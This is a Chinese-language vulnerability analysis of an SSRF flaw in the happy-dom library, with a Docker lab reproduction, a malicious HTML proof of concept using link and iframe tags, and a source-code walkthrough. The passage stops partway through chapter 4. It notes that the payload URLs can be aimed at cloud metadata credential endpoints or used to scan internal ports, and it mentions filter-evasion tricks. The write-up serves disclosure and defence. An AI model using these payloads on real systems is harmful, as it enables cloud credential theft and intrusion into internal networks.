CVE-2026-118660:happy-dom 服务端 SSRF 全链路分析
本文分析happy-dom服务端SSRF漏洞,通过iframe与link标签触发内网请求。其21.0.0版本修复可被preload as=fetch及302重定向绕过。
写在前面
happy-dom 是一个用 JavaScript 实现的 DOM 运行时。它被大量前端项目放进 Vitest / Jest 的测试环境,也被用在 SSR 预渲染、HTML 转换和爬虫里。这些场景有一个共同点:HTML 往往来自不可信的一方——用户评论、富文本、抓回来的第三方页面、上传的模板。
在浏览器里,页面里写了 <iframe src="...">,浏览器就会去加载它,这是规范行为,没有人觉得奇怪。问题在于,当同一段 HTML 被交给服务端的 happy-dom 时,去加载它的是服务器进程,而服务器进程通常站在内网里、握着云凭证、能访问只监听 localhost 的管理接口。同一个行为,换一个执行者,性质就从"渲染页面"变成了"服务端请求伪造"。
CVE-2026-118660 说的就是这件事。它的成因短得可以用两行配置描述,但从一段字符串到一次出网请求,中间要经过解析、连接、分派、安检、出口五道关;而修复版本选择在"连接"这一步设闸门,这个选择也决定了它后来为什么能被绕过。
版本约定
漏洞原理与函数走读基于 happy-dom 20.14.6 源码,路径相对
packages/happy-dom/src/;修复首发版本为 21.0.0,第三章的对照实验用的就是它;
第六章的绕过实验使用 21.0.4。21.0.0 到 21.0.4 之间
Fetch.js有过改动(重定向时补上了跨源删除Authorization的处理),但本文涉及的三处修复点与加载路径行为一致,行号以 21.0.4 的编译产物为准。
一、项目简介:一个"没有界面的浏览器"
1.1 它是什么
Happy DOM 的官方定义是 A JavaScript implementation of a web browser without its graphical user interface——用 JavaScript 实现一个没有图形界面的 Web 浏览器。
它把浏览器内核里最核心的那部分——DOM、HTML 解析、CSS 选择器、事件、网络请求——用纯 JavaScript 在 Node.js / Bun 等运行时里重新实现了一遍,覆盖了大量 WHATWG 规范:HTML、DOM、CSS Object Model、Fetch、XMLHttpRequest、WebSocket 等等。结果是:在没有真实浏览器的情况下,你也能拿到一个完整、可编程的"虚拟浏览器"环境。
它的定位与 JSDOM 类似,但主打更轻量、更快。
核心特性包括:
自定义元素 / Web Components
声明式 Shadow DOM
Mutation Observer、Tree Walker
Fetch API、XMLHttpRequest、WebSocket
CSS 选择器查询、事件系统、表单等大量 Web API
同时支持 ESM 和 CommonJS
仓库:https://github.com/capricorn86/happy-dom | NPM 包名:
happy-dom
1.2 谁在用,用在哪
场景 | 典型用法 | 谁在发请求 |
|---|---|---|
前端单元测试(最主要) | Vitest 的 | 跑测试的 Node 进程(开发者本机或 CI runner) |
服务端渲染(SSR) | 在服务器上解析、渲染组件与页面,官方提供 | 应用服务进程 |
Web 爬虫 / 数据抓取 | 不启动 headless Chrome,直接请求页面、解析 HTML、用 | 抓取服务进程 |
通用 DOM 工具 | HTML 文档处理与转换、静态分析、批量修改、为无头环境补 | 取决于宿主的输入 |
前两类是这个漏洞真正的落点:它们让 happy-dom 跑在有内网身份的进程里,而喂给它的 HTML 又常常来自外部。测试环境尤其容易被忽略——CI runner 往往就在内网,出网限制比生产环境宽松,日志里的外部请求也很少被当成安全事件。
1.3 为什么"能加载资源"会成为问题
happy-dom 的目标是"像一个浏览器那样工作"。浏览器加载 <link>、<iframe>、<script>,是因为页面作者希望页面这样呈现;目标 URL 由页面作者选择,风险由访问者承担。
服务端解析的模型完全不同:
页面作者不再是可信的站点所有者,而可能是提交评论的任意用户;
"访问者"变成了服务器进程,它的网络位置就是内网的网络位置;
加载行为没有任何可见的界面提示,只留下一条出网请求。
库沿用了浏览器的语义,却没有对应的威胁模型。这个错配不是某一行的笔误,而是 CVE-2026-118660 的根:默认值就是策略,而默认值假设自己身处浏览器。
二、漏洞基本信息
2.1 概要
项目 | 内容 |
|---|---|
CVE 编号 | CVE-2026-118660 |
公告编号 | GHSA-c8p4-j97h-3vg8 |
影响组件 | Happy DOM(无 GUI 的 JavaScript 浏览器实现) |
漏洞类型 | CWE-918 服务端请求伪造(SSRF) |
严重程度 | 高危 — CVSS 8.6 |
受影响版本 |
|
修复版本 | 21.0.0 |
2.2 根因:两个"默认关闭的开关",其实是默认开启
BrowserSettings 里有两个与外部资源加载相关的选项,在 21.0.0 之前长这样:
// happy-dom < 21.0.0 的 DefaultBrowserSettings(节选)
{
disableIframePageLoading: false, // iframe 页面加载默认开启
disableCSSFileLoading: false // CSS 文件加载默认开启
}
注意命名:它们是 disable*,语义是"禁止某行为",默认 false 意味着不禁止,也就是加载默认开启。这是一个 opt-out 模型——想安全必须主动关,不关就是开。
于是当应用在服务端解析不可信 HTML 时,HTML 里嵌入的这两类元素会被 happy-dom 自动发起真实 HTTP 请求:
<iframe src="...">—— iframe 的srcURL;<link rel="stylesheet" href="...">—— 样式表的hrefURL。
整个过程不需要任何特殊配置或额外开启(无需 opt-in)。攻击者只要控制被解析的 HTML,就能让服务器向任意目标发起请求。
修复版本做的事很直接:把默认值的方向翻过来,新增 enableCSSFileLoading / enableIframePageLoading,默认 false。第六章会看到,这个"翻转默认值"的修复模型,正是后续绕过的起点。
2.3 触发条件
漏洞成立需要两个条件同时满足:
不可信 HTML 进入 happy-dom 的解析器。常见入口不止
page.content,还包括已连接元素的innerHTML、insertAdjacentHTML、shadowRoot.innerHTML,以及DOMParser解析后挂载、<template>内容克隆后挂载等等(第四章按"元素何时被连接"把入口分成三类)。解析出的
<link rel="stylesheet">或<iframe>被连接进文档。决定请求的是连接,不是"用了哪个写 HTML 的 API"。
两条同时满足,请求就会在解析的同一次调用链里发出。反过来,<template> 里的内容不触发,也不是因为被拦截,而只是因为它"还没连上"。
2.4 危害
云凭证窃取:访问云厂商元数据端点,获取临时访问凭证(AWS / GCP / Azure 等);
内网探测:对内部网络做端口与服务扫描;
敏感数据泄露:请求内部接口,并通过应用回显把响应内容带出来;
数据外带:把 SSRF 当作数据外泄通道。
两条向量在危害上并不对等,这一点在第四章会展开:<link> 路径的响应只进 CSS 解析器,属于盲 SSRF;<iframe> 路径的响应体会被写回子 frame 的文档,应用只要读一下 childFrames[0].window.document.body.innerHTML,内网数据就进了进程——对应 CVSS 里的机密性高影响(C:H)。
2.5 为什么在浏览器里"正常",在服务端就是漏洞
三个变化叠在一起:
发起方变了。浏览器里 iframe 请求由访问者的浏览器发出;服务端解析时由应用进程发出。后者通常就在内网,能访问云元数据端点、内部管理面和只监听 localhost 的服务。
目标的选择权变了。浏览器里目标由页面作者决定,服务端场景里由提交 HTML 的攻击者决定。
信任假设变了。happy-dom 假设自己身处浏览器,没有"服务端代理"这个威胁模型。第四章会看到,
Fetch.send()把 referrer、CORS、缓存、Mixed Content 都实现了一遍,唯独没有一条检查在问"这个 host 是不是内网"。
这三点也是后面两章判断"是不是真风险"的标尺:只要 HTML 来自外部、解析发生在服务端,行为正确与否就不该由"浏览器也会这么做"来辩护。
三、Docker 复现:把 SSRF 关进一个盒子
复现的目标不是"看到一条请求",而是拿到一条无法用别的解释搪塞的证据链:内网服务根本不向宿主机发布端口,攻击者也没有任何直接访问它的通道;只要它的日志里出现 [SSRF-HIT],这行日志就只能来自受害应用被诱导后"代为发起"的请求。这正是 SSRF 的定义性证据。
3.1 复现环境
复现在远程 Ubuntu 服务器上通过 SSH 执行。
项目 | 值 |
|---|---|
系统 | Ubuntu 26.04.1 LTS(aarch64,内核 |
Docker | 29.9.3(build 5457199) |
Docker Compose | v5.7.0 |
复现目录 |
|
端口检查 | 宿主机 8080 端口空闲( |
3.2 靶场拓扑

图 3-1 靶场拓扑:受害应用代替攻击者访问仅内网可达的靶标(图片:00-diagram-repro-topology.jpg)
两个服务同处一个 demo 网络,但 intranet 不向宿主机发布任何端口。这个设计有两个作用:
排除"攻击者自己 curl 了内网"的可能——他没有路由;
让内网服务的日志成为唯一权威证据,命中即代表来自
web容器的真实流量。
3.3 目录结构
CVE-2026-118660-repro/
├── docker-compose.yml # 两个服务:web(受害应用,发布 8080)+ intranet(内网专用,不发布端口)
├── web/
│ ├── Dockerfile # 基于官方 node:22-alpine,npm 安装指定版本 happy-dom(build arg 控制)
│ └── server.js # 受害应用:POST /render 用默认配置解析不可信 HTML 并回显 iframe 内容
├── intranet/
│ └── server.js # 模拟仅内网可达的敏感服务(云元数据替身),每次请求记录 [SSRF-HIT]
├── poc.html # 恶意 HTML:<link rel=stylesheet> + <iframe src> 指向内网服务
├── poc.sh # 单次 PoC:提交 poc.html 并展示响应与内网服务日志
├── verify.sh # 一键端到端验证:漏洞版(20.14.6)触发断言 / 修复版(21.0.0)不触发
└── README.md
3.4 复现环境的五处关键代码
下面把这份靶场拆成五块看:拓扑与版本控制、受害应用镜像、触发点所在的 server.js、内网靶标,以及最后那份恶意载荷。
3.4.1 docker-compose.yml:拓扑与版本控制
services:
web:
build:
context: ./web
args:
HAPPY_DOM_VERSION: ${HAPPY_DOM_VERSION:-20.14.6} # 默认漏洞版,可用环境变量切换
image: cve-2026-118660/web:${HAPPY_DOM_VERSION:-20.14.6}
ports:
- "${WEB_PORT:-8080}:3000" # 唯一对外入口
depends_on:
- intranet
networks:
- demo
intranet:
image: node:22-alpine
command: node /app/server.js
volumes:
- ./intranet/server.js:/app/server.js:ro
networks:
- demo
# 注意:没有任何 ports: —— 不向宿主机发布
networks:
demo: {}
有两个要点:
HAPPY_DOM_VERSION这个 build arg 同时控制安装版本与镜像 tag,漏洞版 / 修复版对照只需要换一个环境变量;intranet服务没有ports:映射,宿主机与外部均不可达,只有同一demo网络内的web能访问。
3.4.2 web/Dockerfile:受害应用镜像
FROM node:22-alpine
ARG HAPPY_DOM_VERSION=20.14.6
ENV HAPPY_DOM_VERSION=${HAPPY_DOM_VERSION}
ENV NODE_ENV=production
WORKDIR /app
# 受影响版本 <= 20.14.6(漏洞);>= 21.0.0(修复,默认禁用外部资源加载)
RUN npm install --no-audit --no-fund "happy-dom@${HAPPY_DOM_VERSION}"
COPY server.js server.js
EXPOSE 3000
CMD ["node", "server.js"]
happy-dom 没有官方镜像,直接基于官方 node:22-alpine 安装目标版本的 npm 包,干净且可复现。
3.4.3 web/server.js:受害应用(CVE 触发点)
核心逻辑在 POST /render:
// 关键:new Browser() 未传任何 settings —— 即 CVE 所述"默认开启外部资源加载"的姿态
browser = new Browser();
const page = browser.newPage();
page.url = 'http://web-app.internal/';
page.content = body; // 用户提交的不可信 HTML
await Promise.race([
page.waitUntilComplete(), // 等待外部资源(CSS / iframe)加载完成
new Promise((resolve) => setTimeout(resolve, 15000)),
]);
// 读取 iframe 加载的页面内容 —— "回显给攻击者"的数据外泄路径
const frames = page.mainFrame.childFrames;
if (frames.length > 0 && frames[0].window && frames[0].window.document) {
result.iframeUrl = frames[0].url;
result.iframeContent = frames[0].window.document.body
? frames[0].window.document.body.innerHTML : null;
}
// ...最终 res.end(JSON.stringify(result, null, 2))
这段代码模拟的是一类真实业务:服务端 HTML 转 PDF、富文本过滤、SSR 预渲染、爬虫正文提取。它们的共同点是把不可信 HTML 交给 DOM 实现,并把处理结果返回给提交者。
值得注意两点:
page.content赋值这一步就足以触发漏洞,后面的回显只是把危害从"盲 SSRF"升级为"机密数据泄露";Promise.race里那个 15 秒兜底不是随手写的——第四章会说明,样式表路径根本没有超时机制,不加兜底,一个不响应的目标就能把waitUntilComplete()拖到天荒地老。
另外,这里读的是 page.mainFrame.childFrames[0].window.document,而不是 iframe.contentDocument。这个细节是第四章"frame 树绕开跨源代理"那一段的实证。
3.4.4 intranet/server.js:内网敏感服务(云元数据替身)
const SECRET_TOKEN = 'INTERNAL-ONLY-TOKEN-' + crypto.randomBytes(8).toString('hex');
const server = http.createServer((req, res) => {
console.log(`[SSRF-HIT] ${new Date().toISOString()} ${req.method} ${req.url} | internal-only service reached!`);
const isCss = req.url.endsWith('.css');
res.writeHead(200, { 'Content-Type': isCss ? 'text/css' : 'text/html' });
if (isCss) {
res.end('body { color: red; }');
} else {
res.end(`<html><body>SECRET: ${SECRET_TOKEN} (cloud-metadata-like internal data)</body></html>`);
}
});
三个设计意图:
每次请求记录一行
[SSRF-HIT](请求方法 + URL + 时间戳),这是 SSRF 是否发生的唯一权威证据;非
.css请求返回含随机 token 的"机密"响应体,模拟http://xx.xx.xx.xx/latest/meta-data/...这类元数据端点;token 每次容器启动随机生成。
verify.sh借此做严格关联断言:只有"当次运行日志里的 token"出现在"攻击者收到的响应里"才算泄露,排除拼凑旧输出的误判。
3.4.5 poc.html:恶意载荷
<!DOCTYPE html>
<html>
<head>
<!-- 攻击向量 1:<link rel=stylesheet> 默认触发真实 HTTP 请求(CSS file loading) -->
<link rel="stylesheet" href="http://intranet:3000/attacker-probe.css">
</head>
<body>
<!-- 攻击向量 2:<iframe src> 默认加载目标页面(iframe page loading) -->
<iframe src="http://intranet:3000/secret/metadata"></iframe>
</body>
</html>
实战中把 URL 换成 http://xx.xx.xx.xx/latest/meta-data/iam/security-credentials/ 等即可窃取云临时凭证;把 URL 指向内网各地址、观察请求是否成功或超时,即可做内网端口扫描。
3.5 漏洞版复现:happy-dom 20.14.6
下面五步按实际执行顺序记录。每步同时给出可直接复制的命令、实测输出,以及同一次运行的终端整窗截图(图 3-2 ~ 图 3-6)——文字便于复制与检索,截图用于证明这段输出确实出自那次运行。
① 构建并启动
cd ~/CVE-2026-118660-repro && docker compose up -d --build
HAPPY_DOM_VERSION 未设置,取默认值 20.14.6。构建过程安装的正是漏洞版:
[+] Building 6.8s (11/11) FINISHED
=> [1/4] FROM docker.io/library/node:22-alpine@sha256:fe4f6d74e203…
=> [2/4] WORKDIR /app
=> [3/4] RUN npm install --no-audit --no-fund "happy-dom@20.14.6" 4.5s
=> [4/4] COPY server.js server.js
=> naming to docker.io/cve-2026-118660/web:20.14.6
[+] up 11/11
✔ Network cve-2026-118660_demo Created
✔ Container cve-2026-118660-intranet-1 Started
✔ Container cve-2026-118660-web-1 Started

图 3-2 3.5① 构建并启动:docker compose up -d --build_ 未设 HAPPY_DOM_VERSION,装的是默认版本 20.14.6(图片:03-repro-05-build-vuln-01.png)_
② 确认服务状态与版本
docker compose ps && curl -s http://localhost:8080/healthz
NAME IMAGE STATUS PORTS
cve-2026-118660-intranet-1 node:22-alpine Up 23 seconds
cve-2026-118660-web-1 cve-2026-118660/web:20.14.6 Up 23 seconds 0.0.0.0:8080->3000/tcp, [::]:8080->3000/tcp
ok happy-dom@20.14.6
注意 intranet 一行 PORTS 为空——"不发布端口"这一前提成立;healthz 确认当前跑的是 20.14.6。

图 3-3 3.5② docker compose ps 与 /healthz:只有 web 发布 8080,健康检查回 ok happy-dom@20.14.6(图片:03-repro-06-ps-01.png)
③ 执行 PoC
./poc.sh
poc.sh 做三件事:打印提交的 PoC HTML → curl -X POST 把 poc.html 提交到 /render → 打印内网服务的 [SSRF-HIT] 日志。实测输出:
[*] POST http://localhost:8080/render (simulates server-side parsing of user-submitted HTML)
[*] App response (iframe content is reflected back to the attacker):
{
"happyDomVersion": "20.14.6",
"iframeUrl": "http://intranet:3000/secret/metadata",
"iframeContent": "SECRET: INTERNAL-ONLY-TOKEN-ae603ffa1440d654 (cloud-metadata-like internal data)",
"error": null
}
[*] Requests seen by the internal-only service:
intranet-1 | [SSRF-HIT] 2026-11-05T08:18:17.050Z GET /attacker-probe.css | internal-only service reached!
intranet-1 | [SSRF-HIT] 2026-11-05T08:18:17.053Z GET /secret/metadata | internal-only service reached!
证据解读:
证据 | 说明 |
|---|---|
| 攻击向量 1 命中: |
| 攻击向量 2 命中: |
| 内网响应体(机密 token)经受害应用回显,泄露给攻击者 —— 对应 CVSS C:H |
两次命中时间仅相差 3ms | 两个向量在同一次 HTML 解析中并发触发,无需任何额外配置 |
攻击者自始至终只访问了 localhost:8080(唯一可达入口),却拿到了从未直接连接过的内网服务里的机密数据。

图 3-4 3.5③ ./poc.sh:一次提交同时打出两条 [SSRF-HIT],iframeContent_ 回显内网 token(图片:03-repro-07-poc-vuln-01.png)_
④ 核对内网服务完整日志
docker compose logs intranet
intranet-1 | [intranet] internal-only service on :3000; NOT published to host; secret token: INTERNAL-ONLY-TOKEN-ae603ffa1440d654
intranet-1 | [SSRF-HIT] 2026-11-05T08:18:17.050Z GET /attacker-probe.css | internal-only service reached!
intranet-1 | [SSRF-HIT] 2026-11-05T08:18:17.053Z GET /secret/metadata | internal-only service reached!
服务启动时打印的 secret token 为 INTERNAL-ONLY-TOKEN-ae603ffa1440d654,与攻击者响应中 iframeContent 里的 token 完全一致——"内网机密 → 攻击者"的完整证据闭环由此成立。
至此,漏洞版复现成功:内网服务收到 2 次请求(stylesheet + iframe),机密数据回显攻击者。

图 3-5 3.5④ docker compose logs intranet:启动行 token 与两条命中来自同一次运行(图片:03-repro-08-logs-vuln-01.png)
⑤ 清理环境
docker compose down

图 3-6 3.5⑤ docker compose down:漏洞版容器与网络被移除(图片:03-repro-09-down-vuln-01.png)
3.6 修复版对照:happy-dom 21.0.0
同一份 poc.html、同一套命令,只换一个环境变量:
HAPPY_DOM_VERSION=21.0.0 docker compose up -d --build
=> [3/4] RUN npm install --no-audit --no-fund "happy-dom@21.0.0" 4.7s
=> naming to docker.io/cve-2026-118660/web:21.0.0
[+] up 4/4
✔ Image cve-2026-118660/web:21.0.0 Built
✔ Container cve-2026-118660-intranet-1 Started
✔ Container cve-2026-118660-web-1 Started

图 3-7 3.6 只换 HAPPY_DOM_VERSION=21.0.0:构建出 cve-2026-118660/web:21.0.0(图片:03-repro-10-build-fixed-01.png)
再跑一次 PoC:
[*] App response (iframe content is reflected back to the attacker):
{
"happyDomVersion": "21.0.0",
"iframeUrl": null,
"iframeContent": null,
"error": null
}
[*] Requests seen by the internal-only service:
(none)

图 3-8 3.6 同一份 poc.sh 在 21.0.0 下:iframeUrl_ / iframeContent 均为 null,命中 (none)(图片:03-repro-11-poc-fixed-01.png)_
与漏洞版逐项对比:
观测点 | 20.14.6(漏洞版) | 21.0.0(修复版) |
|---|---|---|
内网服务收到请求 | 2 次(css + iframe) | 0 次( |
|
|
|
| 含内网机密 token |
|
再看两边的日志:
intranet-1 | [intranet] internal-only service on :3000; NOT published to host; secret token: INTERNAL-ONLY-TOKEN-a2b060836c39c313
web-1 | [web] listening on :3000 | happy-dom@21.0.0 | DEFAULT browser settings (no opt-out flags)
web-1 | [web] received untrusted HTML (363 bytes) -> parsing with happy-dom@21.0.0 DEFAULT settings (no opt-out flags)
web-1 | [web] iframe content reflected to caller: null

图 3-9 3.6 修复版两侧日志:web 仍是 DEFAULT settings,intranet 无 [SSRF-HIT](图片:03-repro-12-logs-fixed-01.png)
两个细节值得注意:
web应用日志明确显示解析时仍是DEFAULT settings——受害应用代码一行未改,仅升级 happy-dom,行为就从"代发内网请求"变成"静默不加载"。这说明变化发生在库的默认值层面,而不是应用侧的配置;本次
intranet启动生成的 token 是新的(a2b060836c39c313),与上一轮不同,排除了"旧日志 / 旧响应拼凑"的可能。
3.7 一键端到端验证
手动对照之外,verify.sh 把整个流程自动化并做严格断言:
./verify.sh
脚本用 run_phase 跑两个阶段,共 4 项断言:
阶段 | 版本 | 断言 1 | 断言 2 |
|---|---|---|---|
Phase 1 | 20.14.6 | 内网服务 | 当次启动的 secret token 出现在攻击者响应中(token 关联断言) |
Phase 2 | 21.0.0 | 内网服务收到 0 次请求 | 响应中不含 |
实测输出(节选):
==================================================================
Phase: happy-dom@20.14.6
==================================================================
[+] stack up: ok happy-dom@20.14.6
[*] app response:
{
"happyDomVersion": "20.14.6",
"iframeUrl": "http://intranet:3000/secret/metadata",
"iframeContent": "SECRET: INTERNAL-ONLY-TOKEN-d89e89828f8933ab (cloud-metadata-like internal data)",
"error": null
}
[*] internal-only service received 2 request(s)
[PASS] SSRF triggered: iframe + stylesheet 均抵达内网专用服务
[PASS] 内网机密 token 经 iframe 回显给攻击者(对应 CVSS C:H 危害)
==================================================================
Phase: happy-dom@21.0.0
==================================================================
[+] stack up: ok happy-dom@21.0.0
[*] app response:
{
"happyDomVersion": "21.0.0",
"iframeUrl": null,
"iframeContent": null,
"error": null
}
[*] internal-only service received 0 request(s)
[PASS] 修复版无 SSRF:内网专用服务收到 0 次请求
[PASS] 修复版响应中无内网数据
==================================================================
RESULT: 4 passed, 0 failed
VERDICT: CVE-2026-118660 复现成功(漏洞版触发 SSRF,修复版不触发)

图 3-10 3.7 ./verify.sh 第 1 页:Phase 20.14.6 的构建与启动(图片:03-repro-13-verify-01.png)

图 3-11 3.7 第 2 页:漏洞版两项断言通过,进入 Phase 21.0.0(图片:03-repro-13-verify-02.png)

图 3-12 3.7 第 3 页:修复版 0 次请求,RESULT: 4 passed, 0 failed(图片:03-repro-13-verify-03.png)
token 关联断言的实现方式:从当次 docker compose logs intranet 里提取启动行的 secret token: INTERNAL-ONLY-TOKEN-…,再检查这个值是否出现在攻击者响应中。本轮 token 为 d89e89828f8933ab,与前两轮手动实验的值都不同(每轮容器重建都会重新生成),证明断言针对的是当次真实流量,而不是缓存的旧输出。
3.8 这套复现方法的三个要点
复现本身不复杂,但要让结论站得住,有三件事不能省:
靶标不可直达。内网服务不发布端口,是"请求由库发出"这个结论的前提。如果攻击者能自己访问靶标,日志就无法归因。
证据分三层:对端日志(有没有出网)、应用响应(有没有数据泄露)、token 关联(是不是这一次)。只给其中一层,都留得下"巧合"的解释空间。
对照必须同源。修复版只换了
HAPPY_DOM_VERSION,PoC、应用代码、网络拓扑全部不变。这样"2 次 → 0 次"才能归因到版本,而不是环境差异。
下一章回到代码,回答一个复现没有回答的问题:这段 HTML 到底是在哪一行、因为什么机制,变成了这次请求。
四、主要函数的作用与原理:从一段 HTML 到一次请求
在服务端把不可信 HTML 交给 happy-dom,page.content = html 这一行执行完,请求往往已经上路了。这条链很长,但真正决定"会不会出网、出到哪、响应去了哪"的只有十来个函数。
下面按调用顺序走一遍:先看两条路径共用的解析层(4.1–4.3)和网络层(4.4–4.5),再看 <link> 与 <iframe> 分别如何把"元素出现"翻译成"发起请求",以及响应最终落在哪里(4.6–4.7)。
行号均相对 packages/happy-dom/src/,版本为 20.14.6。
4.1 字符串变成文档:BrowserFrame.content setter
一切从一次赋值开始。这个 setter 只有几行,但它做的不是"替换一段 HTML",而是"重建一个文档":
public set content(content) {
this.window.document[PropertySymbol.isFirstWrite] = true;
this.window.document[PropertySymbol.isFirstWriteAfterOpen] = false;
this.window.document.open();
this.window.document.write(content);
}
它实际做了三件事:
置上"首次写入"标记,让随后的
write()走"以 Document 为根"的分支,而不是以body为根;调用
open():移除 document 上全部冒泡与捕获监听器,删掉所有子节点,重建<!doctype html><html><head></head><body></body>。重建过程本身走appendChild → connectedToNode,所以新的html/head/body一建出来就是已连接的;调用
write(content):启动HTMLParser。不可信字符串从这一刻起变成 DOM。
content 是纯字符串,没有类型约束、没有净化、也没有任何"可信 / 不可信"的标记。应用以为自己只是在"设置页面内容",库理解的却是"重建文档并解析"。两边对"这会触发外部资源加载"没有共同认知——这是语义上的错配,不是某一行写错了。
有三个容易踩的细节。
它同步,但副作用不同步。 解析在调用栈内完成,网络副作用发生在解析触发的连接回调里。setter 返回时请求尚未发出,实测同步耗时只有 0–2 ms,请求出现在之后几毫秒。所以"这一行很快就返回了"不能推出"没有发请求"。
它会清掉监听器,而且不可逆。 open() 移除 document 级监听器之后不会恢复。应用如果在赋值前挂了 document 级监听,写入后全部失效——这也是动态分析要改成元素级监听的原因。
它不是唯一的入口。 除了给整个文档赋值,不可信 HTML 还能从好几个地方进来。与其把 API 一个个列出来背,不如按"元素是在什么时候被连接的"分三类看:
第一类:写进已经连接的位置。 page.content、已连接元素的 innerHTML、insertAdjacentHTML、shadowRoot.innerHTML 都属于这一类。解析结果一插入就已经在文档里,元素当场连接,所以同一个调用里就会把请求发出去。这也是"赋值立刻出网"的那一类。
第二类:先解析,后挂载。 比如先给一个游离的 div 设 innerHTML,再把 div 挂到页面上;或者用 DOMParser 先解析出一份新文档,再把节点 importNode 进去。解析的时候元素没有父节点,什么都不会发生;挂载的那一刻才连接,请求也出现在那一刻。DOMParser 这条路要算两次:解析进新文档时一次,导入并挂载时再一次。
第三类:惰性内容,等它被"实体化"。 <template> 里的内容会被解析,但结果存在一份独立的文档片段里,里面的节点永远不连接,所以不会发请求;把 template.content 克隆出来挂进文档,它就变成了第一类,立刻触发。
三类看完,结论其实只有一句:决定请求的从来不是"用了哪个 API 写 HTML",而是"元素有没有连上"。所以真正需要记住的条件是——不可信 HTML 进入 HTMLParser,并且解析出的元素最终被连接。反过来,<template> 那种"不触发"也不能读成"安全",它只是"还没连上"。
顺带排除一个常见的误读。HTMLParser 里确实有一段"innerHTML 不执行脚本"的镜像逻辑,会给 <link> 设 disableEvaluation,但那段代码位于 rawText 元素的处理路径上,而 <link> 的内容模型是"不允许后代",常规命名空间下根本走不到。所以 innerHTML 注入的 <link> 照样出网,这个标志对 <link> 不构成任何闸门。
4.2 属性先写、元素后入树:HTMLParser.parseEndOfStartTag
解析器处理每个开始标签时,都会经过这个函数。它把工作分成两段:先处理属性,再把元素挂进树。
// 属性段
const value = rawValue ? XMLEncodeUtility.decodeHTMLAttributeValue(rawValue) : '';
const attributes = this.nextElement![PropertySymbol.attributes];
...
} else if (!attributes.getNamedItem(name)) {
const attributeItem = this.rootDocument!.createAttribute(name);
attributeItem[PropertySymbol.value] = value;
attributes[PropertySymbol.setNamedItem](attributeItem);
}
// 入树段
body[PropertySymbol.appendChild](this.nextElement!, true);
这里最容易误读的一跳是:解析器没有调用 element.setAttribute,而是直接构造 Attr 塞进 NamedNodeMap。看上去"绕过 setter"就等于"绕过回调",但 setNamedItem 的第二个参数 ignoreListeners 默认是 false,它照样会调用 ownerElement 上的属性写入回调。
于是就出现了那个让人困惑的现象:
属性阶段确实调用了加载函数——
<link>的样式表加载、<iframe>的页面加载,都被调了一次;但此时元素还没入树,
isConnected是false,加载函数在门口就静默返回了;真正让它生效的,是入树段的
appendChild(..., true)——元素连接,连接回调分派到子类,请求才发起。
这解释了一组看似矛盾的事实:"解析会触发请求"和"写属性不会触发请求"同时成立。前者说的是入树之后,后者说的是入树之前。
三个细节值得记住:
属性顺序无关。 先 rel 后 href,写 href 时检查一次;先 href 后 rel,写 rel 时再检查一次。两次都发生在未连接期,都早退,最终结果都是连接后发一次请求。
同名属性只取第一个。 !attributes.getNamedItem(name) 让重复属性天然 first-wins。这对解析器是规范行为,对"用正则取最后一个值"的朴素检查器就是解析差异:<link rel="stylesheet" rel="preload" href=...> 在 happy-dom 眼里是样式表,在检查器眼里可能被当成 preload。
属性值会做实体解码。 decodeHTMLAttributeValue 会把 . 还原成 .。粗粒度的字符串黑名单因此在解码前就被绕过了。这不是 happy-dom 的缺陷,而是"检查发生在解码之前"的通用问题。
这个函数本身不是修复点,但它是一条分界线:在它之前,<link> 只是文本;在它之后,<link> 是一个有行为、会去取资源的元素。任何"解析期禁止加载"的方案,都必须在这里或下一节那个函数上生效。
4.3 连接即加载:Node.[connectedToNode]
解析器只负责把元素挂到树上,它从不直接说"去加载资源"。加载是由连接状态的变化触发的,这个判断集中在 Node 的 connectedToNode 方法里。
public [PropertySymbol.connectedToNode](): void {
const parentNode = this[PropertySymbol.parentNode];
const parent = parentNode || (<any>this)[PropertySymbol.host];
let isConnected = false;
let isDisconnected = false;
if (!this[PropertySymbol.isConnected] && parent[PropertySymbol.isConnected]) {
this[PropertySymbol.isConnected] = true;
isConnected = true;
} else if (this[PropertySymbol.isConnected] && !parent[PropertySymbol.isConnected]) {
this[PropertySymbol.isConnected] = false;
isDisconnected = true;
}
...
const childNodes = this[PropertySymbol.nodeArray].slice();
for (let i = 0, max = childNodes.length; i < max; i++) {
childNodes[i][PropertySymbol.parentNode] = self;
childNodes[i][PropertySymbol.connectedToNode](); // 先子后父
}
...
if (isConnected) {
this[PropertySymbol.connectedToDocument]();
} else if (isDisconnected) {
this[PropertySymbol.disconnectedFromDocument]();
}
}
按顺序看,它做了五件事:
取父节点(没有父节点就看 shadow host)——没有父节点就谈不上连接;
做边沿检测,只在
false → true或true → false时置标志;向下传播
ownerDocument、window、rootNode等上下文,让子类钩子能拿到窗口去查配置;递归处理整棵子树,而且是先子后父;
在边沿上分派
connectedToDocument()或disconnectedFromDocument(),多态落到具体的元素类。
它的关键性质是"策略无关":这个函数不知道子类是谁,也不知道连接回调会做什么,它只负责通知"状态变了"。对浏览器,这是正确的生命周期抽象;对服务端解析场景,它意味着任何元素只要覆写连接回调并决定发请求,解析就会产生 I/O。
由此可以直接推出三条结论:
幂等。 对已连接的元素重复
appendChild不会再次分派,所以同一个<link>不会因为重复挂载而重复请求。可重入。 先
remove()再append(),会经历一次断开和一次连接,于是会再加载一次。通过removeAttribute('src')再设回去,也能得到第二次请求。顺序只影响时机,不影响结果。 子树是递归处理的,所以"先建一整块游离 DOM、最后一次性挂载"同样会触发,请求就出现在挂载那一刻。
另外,它是用计算属性名定义的方法,源码里不会以 connectedToNode() 这种普通调用形式出现,按方法名去搜索或按普通方法整理调用关系时都容易漏掉它。所以"调用关系里看不到这条边"不等于"它不会执行",确认它只能靠动态栈和时序日志。
4.4 一路绿灯的安检:Fetch.send
请求真正发出之前,会经过 Fetch.send。这个函数几乎把浏览器该有的机制都实现了一遍——referrer 整理、请求头、拦截器、协议校验、中止信号、data: 处理、Mixed Content、缓存、预加载、虚拟服务器、CORS——十三道检查,看着十分完整。
public async send(): Promise<Response> {
FetchRequestReferrerUtility.prepareRequest(new URL(this.#window.location.href), this.request);
if (this.requestHeaders) { ... }
if (this.interceptor?.beforeAsyncRequest) { ... }
FetchRequestValidationUtility.validateSchema(this.request);
if (this.request.signal[PropertySymbol.aborted]) { ... }
if (this.request[PropertySymbol.url].protocol === 'data:') { ... }
if (http && window.https) { throw MixedContent; }
if (!this.disableCache) { ... }
if (!this.disablePreload) { ... }
if (virtualServerResponse) { return ...; }
if (!this.disableSameOriginPolicy) { ... CORS ... }
return await this.sendRequest();
}
这些检查按顺序走下来,可以分成三组。
